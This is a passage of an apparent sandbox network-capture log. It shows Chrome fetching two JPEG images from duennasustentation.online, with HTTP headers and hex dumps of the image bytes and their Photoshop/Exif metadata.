2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 11 1c f6 51 48 d9 b2 75 65 8d d0 03 67 86 fa d1 d3 b1 b1 7a 73 f6 be cb 1c d2 df 75 d6 17 c0 9f cc 0e f6 d6 b9 3e 9f ea ba bc 9a eb 61 71 b4 02 d2 04 89 07 77 f5 57 47 f5 b3 a9 7d a6 ef b2 62 ba 5a c3 36 d8 20 89 fd c0 b9 aa 9d be f3 55 d6 3d ec 2d 32 41 92 08 fa 25 ac fa 3f 4b f3 15 8c 20 fb 66 fa fa be c6 be 72 38 f4 e8 29 d9 6d 4d ab 0d a7 23 6b c3 b7 92 1c 77 3f 51 50 b2 af dd fc df a5 b9 66 db 7b 5e 65 fb 43 47 66 80 d1 03 e8 ce df a5 b5 5c 2c 75 5f aa bd 86 eb ac 1b 9e ca 04 ed 1e d6 d3 0d fa 3f 43 de f5 52 fe 83 d5 19 5b ac 35 1f 48 09 30 75 8f ea 21 0e 1b f5 1a bd bf b1 60 07 a4 78 be 8b 0c ca 8b 76 b1 e5 b3 c3 5a 21 bf 38 6e ef fa 48 0e 78 17 b2 da df 16 35 ed 2c 73 4e e2 1c 08 da ef f3 95 7f 43 25 de d0 c7 48 fc d0 14 f1 ab 2d ba bb 44 1f 4d cd Data Ascii: QHuegzsu>aqwWG}bZ6 U=-2A%?K fr8)mM#kw?QPf{^eCGf\,u_?CR[5H0u!`xvZ!8nHx5,sNC%H-DM
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 31 65 55 d5 99 8a d1 8a da 06 53 6d 9b 6a 24 7a 6e 0f 80 d0 db 36 6e df 5d 68 d5 75 5a 5b 59 73 99 bf 2b d1 7b de 44 06 9b 49 db 5b 6a 6c fb 6a 65 7f 9c f5 52 a5 f6 b7 44 e0 21 7d 78 48 a3 fe 23 47 0e ba 68 c5 36 64 30 35 d6 3c 5a f6 10 0b 6b 3a b5 fe ac 7d 27 58 df a5 5b 14 1c cc 7c 90 f7 06 1d 23 dc ff 00 6c c9 db ed fe b7 ee ab d8 39 ae c7 69 b2 8c 61 5d a2 1a 71 e2 58 e1 68 3b b6 ba ef a5 63 f6 fb de 87 f6 77 9a 58 2b 71 60 0d 61 73 9e 07 b7 6f d1 06 b6 9f d1 ff 00 c6 6c fd 2b 11 32 d4 d9 ae da b5 cd 77 72 d9 d3 aa b6 1e d6 10 08 71 d4 49 01 a7 6e ef e5 ee fc c5 72 91 45 0c 68 bd be 8b 9d 00 38 b8 1f 71 ec 6c 73 76 fa 76 7e e7 f3 95 a9 bb 15 f5 54 7d 6d a1 a5 fb 9c f9 da 1c e8 db 5f d2 dd f4 1d fb ad 55 5c e7 33 46 01 0d 27 70 76 a0 eb f4 5d b9 3a f8 Data Ascii: 1eUSmj$zn6n]huZ[Ys+{DI[jljeRD!}xH#Gh6d05<Zk:}'X[\|#l9ia]qXh;cwX+q`asol+2wrqInrEh8qlsvv~T}m_U\3F'pv]:
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: ba b7 7d 0a 9d 5f b3 7b 15 88 0e 02 08 fd 1d 7e ac 53 f5 c4 8d cc b4 f0 a4 0f 6b d8 5f 4e e6 6e 60 6b 58 c7 11 b9 ad 9d fe cd bf a2 77 f2 d1 dd 8e f0 d7 64 bd 86 f7 58 f8 65 7a b4 97 c7 f8 66 7e 6d 5f d5 44 77 4d 73 5a 6c 60 d9 48 12 d0 5b b9 ad 1f 9d c9 6b 9d fc 9d ea 39 6e aa a6 55 63 5c f7 0a 1e 03 98 66 cd ad d1 ce b9 c7 46 b1 df 9b 5e c5 24 79 89 1b 1a 46 fa c7 f2 59 2e 5e 23 51 ea a3 ea b3 fd 5f 98 ff 00 75 6a fa 5f 54 cb 61 c8 fb 41 ad d9 00 b6 9a 80 20 16 8d 7d 8c 73 7d 9e cf ed a1 e1 0b 72 d8 31 1e d7 d9 65 41 d6 6d 71 21 af 13 b9 fe ab dd b5 be b5 51 fc e7 f8 45 af f6 a6 75 0b 19 99 43 de d6 97 43 da 4c 6d 2d fc cf 69 fc df e4 2c eb fa 88 cf ea 2c b6 9b 3d 26 b5 a0 97 59 2d 9d 87 fc 33 fd d5 ec c8 fe af d3 51 81 c4 48 23 7d ff 00 aa c9 29 18 01 Data Ascii: }_{~Sk_Nn`kXwdXezf~m_DwMsZl`H[k9nUc\fF^$yFY.^#Q_uj_TaA }s}r1eAmq!QEuCCLm-i,,=&Y-3QH#})
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 6e 74 53 69 78 74 65 65 6e 42 69 74 62 6f 6f 6c 00 00 00 00 0b 70 72 69 6e 74 65 72 4e 61 6d 65 54 45 58 54 00 00 00 01 00 00 00 00 00 0f 70 72 69 6e 74 50 72 6f 6f 66 53 65 74 75 70 4f 62 6a 63 00 00 00 0c 00 50 00 72 00 6f 00 6f 00 66 00 20 00 53 00 65 00 74 00 75 00 70 00 00 00 00 00 0a 70 72 6f 6f 66 53 65 74 75 70 00 00 00 01 00 00 00 00 42 6c 74 6e 65 6e 75 6d 00 00 00 0c 62 75 69 6c 74 69 6e 50 72 6f 6f 66 00 00 00 09 70 72 6f 6f 66 43 4d 59 4b 00 38 42 49 4d 04 3b 00 00 00 00 02 2d 00 00 00 10 00 00 00 01 00 00 00 00 00 12 70 72 69 6e 74 4f 75 74 70 75 74 4f 70 74 69 6f 6e 73 00 00 00 17 00 00 00 00 43 70 74 6e 62 6f 6f 6c 00 00 00 00 00 43 6c 62 72 62 6f 6f 6c 00 00 00 00 00 52 67 73 4d 62 6f 6f 6c 00 00 00 00 00 43 72 6e 43 62 6f 6f 6c 00 00 00 Data Ascii: ntSixteenBitboolprinterNameTEXTprintProofSetupObjcProof SetupproofSetupBltnenumbuiltinProofproofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCbool
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 63 65 00 00 00 12 00 00 00 07 73 6c 69 63 65 49 44 6c 6f 6e 67 00 00 00 00 00 00 00 07 67 72 6f 75 70 49 44 6c 6f 6e 67 00 00 00 00 00 00 00 06 6f 72 69 67 69 6e 65 6e 75 6d 00 00 00 0c 45 53 6c 69 63 65 4f 72 69 67 69 6e 00 00 00 0d 61 75 74 6f 47 65 6e 65 72 61 74 65 64 00 00 00 00 54 79 70 65 65 6e 75 6d 00 00 00 0a 45 53 6c 69 63 65 54 79 70 65 00 00 00 00 49 6d 67 20 00 00 00 06 62 6f 75 6e 64 73 4f 62 6a 63 00 00 00 01 00 00 00 00 00 00 52 63 74 31 00 00 00 04 00 00 00 00 54 6f 70 20 6c 6f 6e 67 00 00 00 00 00 00 00 00 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 00 42 74 6f 6d 6c 6f 6e 67 00 00 00 96 00 00 00 00 52 67 68 74 6c 6f 6e 67 00 00 00 96 00 00 00 03 75 72 6c 54 45 58 54 00 00 00 01 00 00 00 00 00 00 6e 75 6c 6c 54 45 58 54 00 00 00 01 00 Data Ascii: cesliceIDlonggroupIDlongoriginenumESliceOriginautoGeneratedTypeenumESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurlTEXTnullTEXT
2025-01-08 14:44:43 UTC	711	IN	Data Raw: f6 13 e4 38 72 c6 63 6c bf ab 98 fe b4 44 a7 8f 27 fd c4 ff 00 f5 da d8 fa b1 ca 27 7c 5e b1 e4 4f 0c a0 e9 75 4c 7f b3 e5 8b 99 a3 6d 32 0f 81 99 ff 00 a1 67 bd 6c e3 de 32 28 6d a3 42 e1 ee 1e 0e 1a 3d bf e7 2a 79 78 57 65 63 ed 30 6c 69 dc d6 f1 32 21 cd 95 9f d3 ba 81 c6 bf d2 b1 df a3 71 0d b2 74 8f cc 65 bf d6 6b bf 47 72 65 fb 59 c8 3f cd e7 37 13 d0 73 1f a7 0f fa ac 63 c5 fd f5 d5 ee 62 04 7c f8 85 11 fe ab f4 65 fe 03 2e bc c1 4d cd c9 da 76 ba 37 78 6e 6e 8e 1f db ad 4f 13 a9 63 db 82 d8 2d 7b ea 1b 1c 4f 80 fe 6d ff 00 da 62 d2 c8 34 d8 df 46 ed ae 63 f4 2d 9d 64 7e ef f5 57 19 9f 98 3a 66 4b f6 9a da fa dc 60 c6 8e 9d 5b ed fd cb 5a 94 ff 00 55 94 e4 ab 86 5e 18 e4 fe a4 c7 a6 19 3f bb fa 13 5d 01 ee e3 18 f6 9e 3e 29 43 fa f1 f9 a5 0f fb a8 Data Ascii: 8rclD''\|^OuLm2gl2(mB=*yxWec0li2!qtekGreY?7scb\|e.Mv7xnnOc-{Omb4Fc-d~W:fK`[ZU^?]>)C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49801	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:42 UTC	419	OUT	GET /images/4.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:43 UTC	1055	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:43 GMT Content-Type: image/jpeg Content-Length: 37344 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2945-91e0" expires: Wed, 08 Jan 2025 14:44:42 GMT last-modified: Tue, 07 Jan 2025 13:16:53 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lL3luWkvUGhdAs5j3eSAwGGvJIhCwlwZlexkMhlhn44t1SIWkKZx1NsqzCaQkk9h%2FiL%2BjJQjM%2FaDDq9AfI%2FoEOyygDXLIskNQnTpfHWHQbDbpd1CqiBY58AYIhB%2BBhWLv%2F%2Fn0Y08JfjMoUIK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf798fec542e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1732&min_rtt=1719&rtt_var=671&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2870&recv_bytes=997&delivery_rate=1600877&cwnd=240&unsent_bytes=0&cid=5804bb3f46f489d7&ts=892&x=0"
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: ff d8 ff e1 14 58 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 02 80 00 00 01 01 00 03 00 00 00 01 02 82 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 34 3a 31 39 20 31 39 3a 31 38 3a 33 39 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: XExifMM*(12i ''Adobe Photoshop 21.0 (Windows)2023:04:19 19:18:390
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 8b ce 3a b6 46 fc 9c bc a7 fd 3b 6d 7b be 4d 25 8c 60 4d 99 a5 f8 c5 9f 24 36 37 d2 af 78 fa 4f e3 c3 4e ee fe aa a6 dc 6c bc 97 c3 2b 70 6f ef 6b af 9f 0b 4b 07 06 cc aa ab 75 b2 2b af 51 bb bb 9d a8 ff 00 a2 ba 2c 1c 5a d8 c9 30 5c 14 07 21 06 83 64 63 04 59 79 cc 5f ab 16 db 0e 7f 7e 09 5a d8 9f 55 31 da 66 fd 5b 1e d0 b7 a0 16 8d a2 12 dc 78 47 88 f7 47 08 79 6e b7 f5 62 a0 3e d1 86 36 58 d1 a4 71 a7 8a bb f5 27 af 3b a7 87 e3 e4 9f d5 dc f0 1e d3 a9 63 bf 7d ab 74 43 bd ae 00 8f 05 cc 75 fe 9c 30 72 c5 f4 e9 5d e0 8b 5a 3f 34 8f a2 f0 9f 1b 59 30 08 7d 2f 76 e0 08 82 d3 a8 23 82 13 88 0b 2f ea be 41 bb a2 52 1c 4b 9d 4c d6 49 f0 1a b7 f2 ad 42 41 4f a6 15 ce 44 21 8b 0b 8a 83 c1 dd e5 e0 a6 20 24 86 cb 3e 88 44 0a bb 2e 68 1a 94 8e 53 07 74 09 1d d7 Data Ascii: :F;m{M%`M$67xONl+pokKu+Q,Z0\!dcYy_~ZU1f[xGGynb>6Xq';c}tCu0r]Z?4Y0}/v#/ARKLIBAOD! $>D.hSt
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 55 b9 0b 61 06 b5 0f a8 74 3e bf 8d d6 b1 72 df 86 d3 48 c6 2c 26 a7 13 a8 23 dc ef ed 39 07 ae 1a a8 c9 c5 b8 37 d4 a3 68 7e d0 3e 93 bf 94 b9 3f a9 7d 41 d8 19 d9 0f 89 aa ca c3 6c 6f cf da e5 d4 db 53 b3 18 31 1a 77 b6 77 63 d8 0f 2d fa 4f 61 3f 9b e9 aa 59 31 f0 64 d3 e5 6e e3 99 94 3c 5b 2d 39 fd 5d 85 d8 38 cf 7b 24 ee f5 0b 6b 20 8f a4 df 4d ff 00 a4 ff 00 39 30 fa ad 9a d6 b9 d9 2f c6 c6 15 92 25 ce 2e d2 27 74 fb 56 e5 c2 a7 60 36 d6 b1 af b0 34 37 d4 02 5e d8 fe 5b 61 cb 9a b3 32 e7 5a 6b 35 49 dd 1e e3 cf f2 8f f2 51 c6 45 d6 ab ce a2 f4 1f 4b 6a e7 f4 eb 76 be da ed df 8d 50 10 e6 b0 b0 bd d3 db 5d de 9b 5a ae e2 1d d5 e3 06 6b 5d 4d 20 7f 69 1f 33 32 b3 8c cc 7b 40 2e b0 ed 70 1c 01 2a 8b 8d f8 f4 e5 be a0 df d5 6a 7d 8d fd d9 68 fd 17 f9 ca Data Ascii: Uat>rH,&#97h~>?}AloS1wwc-Oa?Y1dn<[-9]8{$k M90/%.'tV`647^[a2Zk5IQEKjvP]Zk]M i32{@.p*j}h
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 92 d5 36 1f ff d6 a9 66 43 b6 34 7d 16 6d f6 30 70 00 d1 55 7b 8b 9c 5c 4f 1c 2a de b9 71 97 1d 1a 63 e4 a4 6c 91 3e 3c 22 0a e2 19 0d 49 79 ed c2 a7 95 2f 73 7e 2a cd 8f 0d 6e d0 0c 03 a9 8e 4a 03 b6 90 35 d6 67 54 94 c2 c1 fa 27 0f 02 0a 0e 4b 64 57 7b 79 ad c0 b9 1d e3 73 5c 39 92 a3 a7 b9 87 e8 bb 94 0a 42 0c aa 9d 8d 90 32 aa fa 2f 02 7c 35 d5 a5 cb 3f 3a 9a ac 79 b3 19 be 99 89 b2 a3 dc fe 73 98 b7 6b 67 a9 8e 18 f1 30 36 9f 31 e2 a8 5f 8d e9 96 b3 b8 98 71 3d bf 35 01 a2 88 b7 25 c4 b1 ac 3d 9c 3f 15 ab d0 ba b1 c7 c9 15 bc 9f 42 c3 0f 9e 07 f2 d5 0b da 01 0d e3 69 21 09 a7 6b b7 0e ca 4a e9 d0 ac 04 83 63 70 f5 9d 4f ad 51 56 38 38 ef 16 59 68 26 bf 00 06 9b dd fc 95 cb db 9a eb dc 6c 7b cb de 79 2e 46 c9 63 03 41 63 b7 10 03 5c 3f 74 11 b9 80 aa Data Ascii: 6fC4}m0pU{\Oqcl><"Iy/s~nJ5gT'KdW{ys\9B2/\|5?:yskg061_q=5%=?Bi!kJcpOQV88Yh&l{y.FcAc\?t
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 65 6e 75 6d 00 00 00 00 49 6e 74 65 00 00 00 00 43 6c 72 6d 00 00 00 0f 70 72 69 6e 74 53 69 78 74 65 65 6e 42 69 74 62 6f 6f 6c 00 00 00 00 0b 70 72 69 6e 74 65 72 4e 61 6d 65 54 45 58 54 00 00 00 01 00 00 00 00 00 0f 70 72 69 6e 74 50 72 6f 6f 66 53 65 74 75 70 4f 62 6a 63 00 00 00 0c 00 50 00 72 00 6f 00 6f 00 66 00 20 00 53 00 65 00 74 00 75 00 70 00 00 00 00 00 0a 70 72 6f 6f 66 53 65 74 75 70 00 00 00 01 00 00 00 00 42 6c 74 6e 65 6e 75 6d 00 00 00 0c 62 75 69 6c 74 69 6e 50 72 6f 6f 66 00 00 00 09 70 72 6f 6f 66 43 4d 59 4b 00 38 42 49 4d 04 3b 00 00 00 00 02 2d 00 00 00 10 00 00 00 01 00 00 00 00 00 12 70 72 69 6e 74 4f 75 74 70 75 74 4f 70 74 69 6f 6e 73 00 00 00 17 00 00 00 00 43 70 74 6e 62 6f 6f 6c 00 00 00 00 00 43 6c 62 72 62 6f 6f 6c 00 00 Data Ascii: enumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof SetupproofSetupBltnenumbuiltinProofproofCMYK8BIM;-printOutputOptionsCptnboolClbrbool
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 65 73 56 6c 4c 73 00 00 00 01 4f 62 6a 63 00 00 00 01 00 00 00 00 00 05 73 6c 69 63 65 00 00 00 12 00 00 00 07 73 6c 69 63 65 49 44 6c 6f 6e 67 00 00 00 00 00 00 00 07 67 72 6f 75 70 49 44 6c 6f 6e 67 00 00 00 00 00 00 00 06 6f 72 69 67 69 6e 65 6e 75 6d 00 00 00 0c 45 53 6c 69 63 65 4f 72 69 67 69 6e 00 00 00 0d 61 75 74 6f 47 65 6e 65 72 61 74 65 64 00 00 00 00 54 79 70 65 65 6e 75 6d 00 00 00 0a 45 53 6c 69 63 65 54 79 70 65 00 00 00 00 49 6d 67 20 00 00 00 06 62 6f 75 6e 64 73 4f 62 6a 63 00 00 00 01 00 00 00 00 00 00 52 63 74 31 00 00 00 04 00 00 00 00 54 6f 70 20 6c 6f 6e 67 00 00 00 00 00 00 00 00 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 00 42 74 6f 6d 6c 6f 6e 67 00 00 00 96 00 00 00 00 52 67 68 74 6c 6f 6e 67 00 00 00 96 00 00 00 03 75 72 6c Data Ascii: esVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOriginautoGeneratedTypeenumESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurl
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 39 73 b9 04 57 a0 25 c0 0d 49 9f fa 2d 6a 1a 2f a2 fa 5d ff 00 5f ba 35 25 d3 eb d8 d6 98 dc c6 00 0f f6 ac 77 fd f5 5e e9 5f 5a fa 2f 54 7f a7 55 fe 95 b1 b8 57 74 30 91 fc 97 4e c5 e4 2d ca 63 9a 58 64 b7 8d 46 85 41 ee 7e e6 b3 79 d9 a0 8e d1 fc 92 96 8a a7 dd db 75 36 69 5d 8c 7c 7e eb 81 fc 8a 6b c2 b0 ba ce 56 2e 51 fb 33 dd 5b d8 61 ae 69 da 63 b6 bf 47 fb 36 2f 61 e8 3d 4d dd 43 02 8b dc 43 c5 8c fa 60 47 bc 69 65 56 33 f3 1c d4 b4 51 74 f7 09 4b 72 83 94 59 f4 90 d1 09 80 95 17 37 54 40 14 1c 44 a0 95 00 9e 13 8e 13 c2 4a 63 09 29 c2 49 29 ff d0 ec fa 85 ae 65 27 68 f8 9f 00 b9 aa f2 58 ec a7 30 93 a9 e5 76 39 54 36 d6 39 ab 91 cf e9 cf c6 c8 f5 07 d1 3c 23 3b dc 74 5a 37 75 f0 69 63 dd 33 c2 d7 61 86 88 59 1d 30 9f 4c 18 e7 92 af bf 21 ac 20 3c Data Ascii: 9sW%I-j/]_5%w^_Z/TUWt0N-cXdFA~yu6i]\|~kV.Q3[aicG6/a=MCC`GieV3QtKrY7T@DJc)I)e'hX0v9T69<#;tZ7uic3aY0L! <
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 2d c8 0e 82 78 e3 73 1c d2 90 34 75 14 b2 71 06 36 0b b9 f5 70 9f b7 e4 54 75 60 0e 15 9f 10 1d bb db fc 95 bb 6d 6d 85 89 d1 1d e8 d6 6d 78 87 41 13 c7 d2 3b 9c ae d9 d4 da e3 b4 72 9f c5 18 8d 4b 5e 60 99 68 1a 59 af 73 6c da 38 0a 15 5c e2 26 54 ef 73 5f ce a4 aa e1 ec 02 38 85 4f 88 ca 64 96 5a a0 03 64 de e2 43 47 2a e6 3b b4 13 ca c9 af 25 9e 3a a3 8c e8 d1 a2 48 40 ce a5 75 6a ad 1d 68 13 33 aa 4b 23 f6 a0 dd b6 0e ef 04 94 be ec 3b 2d e0 3d df ff d3 e8 2a ea 2d 35 86 92 01 f3 2a de 10 63 a5 ee 33 3d d7 2d 84 e3 63 e4 e9 2b a0 a2 c7 51 50 00 6e 0a 18 ce b5 2c 92 8d ec da ea 2c a7 d1 25 c7 91 c2 e5 ee ea 07 13 1b 2d b5 cb 5c ea dc d6 11 e2 7d bf c5 68 e4 e6 59 6b dc d7 08 1d 82 e7 3a ed bb 5d 5b 41 81 6c ee f8 0e c9 b0 9f 1e 50 02 48 e1 81 b7 96 ea Data Ascii: -xs4uq6pTu`mmmxA;rK^`hYsl8\&Ts_8OdZdCG;%:H@ujh3K#;-=-5*c3=-c+QPn,,%-\}hYk:][AlPH
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 7f 79 9f f9 04 0e a1 d3 6b 6d 27 23 10 82 1a d0 eb 18 35 fe bc 7e ee df dc 59 8d b0 e9 e1 d8 84 6c 48 51 50 b8 9b 0f 76 e7 56 43 6d a8 87 b1 da b5 c3 82 15 fc 32 cb 6a 71 e1 ec ec b8 be 95 d5 9d 8c ef 4e cf 75 0f 3e e6 f8 1f df 62 ea 31 36 10 db e8 70 73 5d c1 1c 7c d4 13 85 79 36 71 e4 12 f0 3d 43 aa 5c 60 0e cb 1b eb 35 85 d8 46 96 f1 c9 f9 2d 03 79 da 4b 8c 42 c1 eb f7 97 50 e3 3a bb da d1 f1 46 23 54 4f 40 5e 6d 8e 86 a9 31 9b f5 26 02 8c 06 68 7d c7 f0 53 66 eb 1c 1a d1 24 e8 1a 15 9b 69 a5 a8 71 b4 44 e9 01 74 dd 3a a3 8b 8a d6 4f b8 ea f2 3b 9f fc c5 63 e1 e0 3e b2 2d b4 6b a9 6b 4f 8b 7e 93 7f ac cf a6 b6 71 f2 68 bd 9b 2d fd 1d cd 3f ce 0e 0f f5 d9 ff 00 7e 50 f3 11 94 e2 04 08 ee 42 fc 7e 93 64 36 1b 69 0f 04 95 ab 8d d7 2d 60 d8 f7 4b 63 93 ca Data Ascii: ykm'#5~YlHQPvVCm2jqNu>b16ps]\|y6q=C\`5F-yKBP:F#TO@^m1&h}Sf$iqDt:O;c>-kkO~qh-?~PB~d6i-`Kc
2025-01-08 14:44:44 UTC	711	IN	Data Raw: 97 b6 61 53 3b a1 f2 09 66 e1 04 fc f6 ae 5d 24 0e e9 0f 46 e9 f4 da 23 db 27 5f 34 97 38 92 4a 7f ff d9 38 42 49 4d 04 21 00 00 00 00 00 57 00 00 00 01 01 00 00 00 0f 00 41 00 64 00 6f 00 62 00 65 00 20 00 50 00 68 00 6f 00 74 00 6f 00 73 00 68 00 6f 00 70 00 00 00 14 00 41 00 64 00 6f 00 62 00 65 00 20 00 50 00 68 00 6f 00 74 00 6f 00 73 00 68 00 6f 00 70 00 20 00 32 00 30 00 32 00 30 00 00 00 01 00 38 42 49 4d 04 06 00 00 00 00 00 07 00 08 01 01 00 01 01 00 ff e1 0f d0 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d Data Ascii: aS;f]$F#'_48J8BIM!WAdobe PhotoshopAdobe Photoshop 20208BIMhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49802	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:43 UTC	419	OUT	GET /images/2.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:43 UTC	1051	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:43 GMT Content-Type: image/jpeg Content-Length: 31837 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d294b-7c5d" expires: Wed, 08 Jan 2025 14:44:42 GMT last-modified: Tue, 07 Jan 2025 13:16:59 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TP5nR%2FA%2FRZl7mtv1xVLvfYTZiKsm9SgQwhzh4ObwdsM9lyuOjJmMIxwGT%2F6gD0MdQAqNwwX9w%2BFybKnj0H8BTfeuMypXcOJWcgdhheVKCeYds1BCmUY%2FMZiBioEZDiJx0PkXAYERui3snK6g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7992ed5f78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1456&min_rtt=1448&rtt_var=560&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2870&recv_bytes=997&delivery_rate=1926121&cwnd=137&unsent_bytes=0&cid=5475fa290002b045&ts=874&x=0"
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: ff d8 ff e1 11 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 05 e0 00 00 01 01 00 03 00 00 00 01 07 df 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 34 3a 31 39 20 31 39 3a 31 39 3a 30 33 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: ExifMM*(12i ''Adobe Photoshop 21.0 (Windows)2023:04:19 19:19:030
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: c0 95 84 06 d5 6e 6d 80 b1 da 87 82 d3 f3 58 f8 79 56 74 7e a6 cb a4 fa 6e 7f a5 73 3c 58 4f d2 77 f5 7e 92 d0 61 2d 3e 6a a7 5b a4 39 85 d1 ad 8d e7 c0 8f ce 2a ce 39 58 d5 af 92 34 f7 29 2a dd 36 ef b4 74 fc 6b bf d2 54 c7 1f 89 02 55 94 58 94 92 49 24 a5 24 92 49 29 ff d1 f5 54 92 49 25 29 24 92 49 4a 51 7b 77 31 cd fd e0 47 de a4 92 4a 7c b7 ea fe 3d ae b0 e3 1d 36 17 02 47 20 03 ee 95 79 f4 35 8e 32 75 1a 42 37 4f c6 38 5d 43 ab 8d 47 d9 4d 81 80 f1 ef 71 b9 ae 1f d9 73 57 2d 9e ec bb 6f dd 95 7f a4 4e a2 0c 11 e1 a2 66 5d 99 b0 dd bd 1b 2f 0d 2a cb 33 03 84 3b e4 b8 17 e5 64 62 59 2c cc f5 99 df 92 b5 3a 57 55 7e 45 9b 26 49 f0 55 65 63 50 da 8d 1d de b8 65 34 77 84 2b ba de 16 30 9b ec 0d 55 32 a8 c8 66 3f a8 74 10 b9 2c ac ea 59 79 7d ac 36 0a f5 Data Ascii: nmXyVt~ns<XOw~a->j[99X4)6tkTUXI$$I)TI%)$IJQ{w1GJ\|=6G 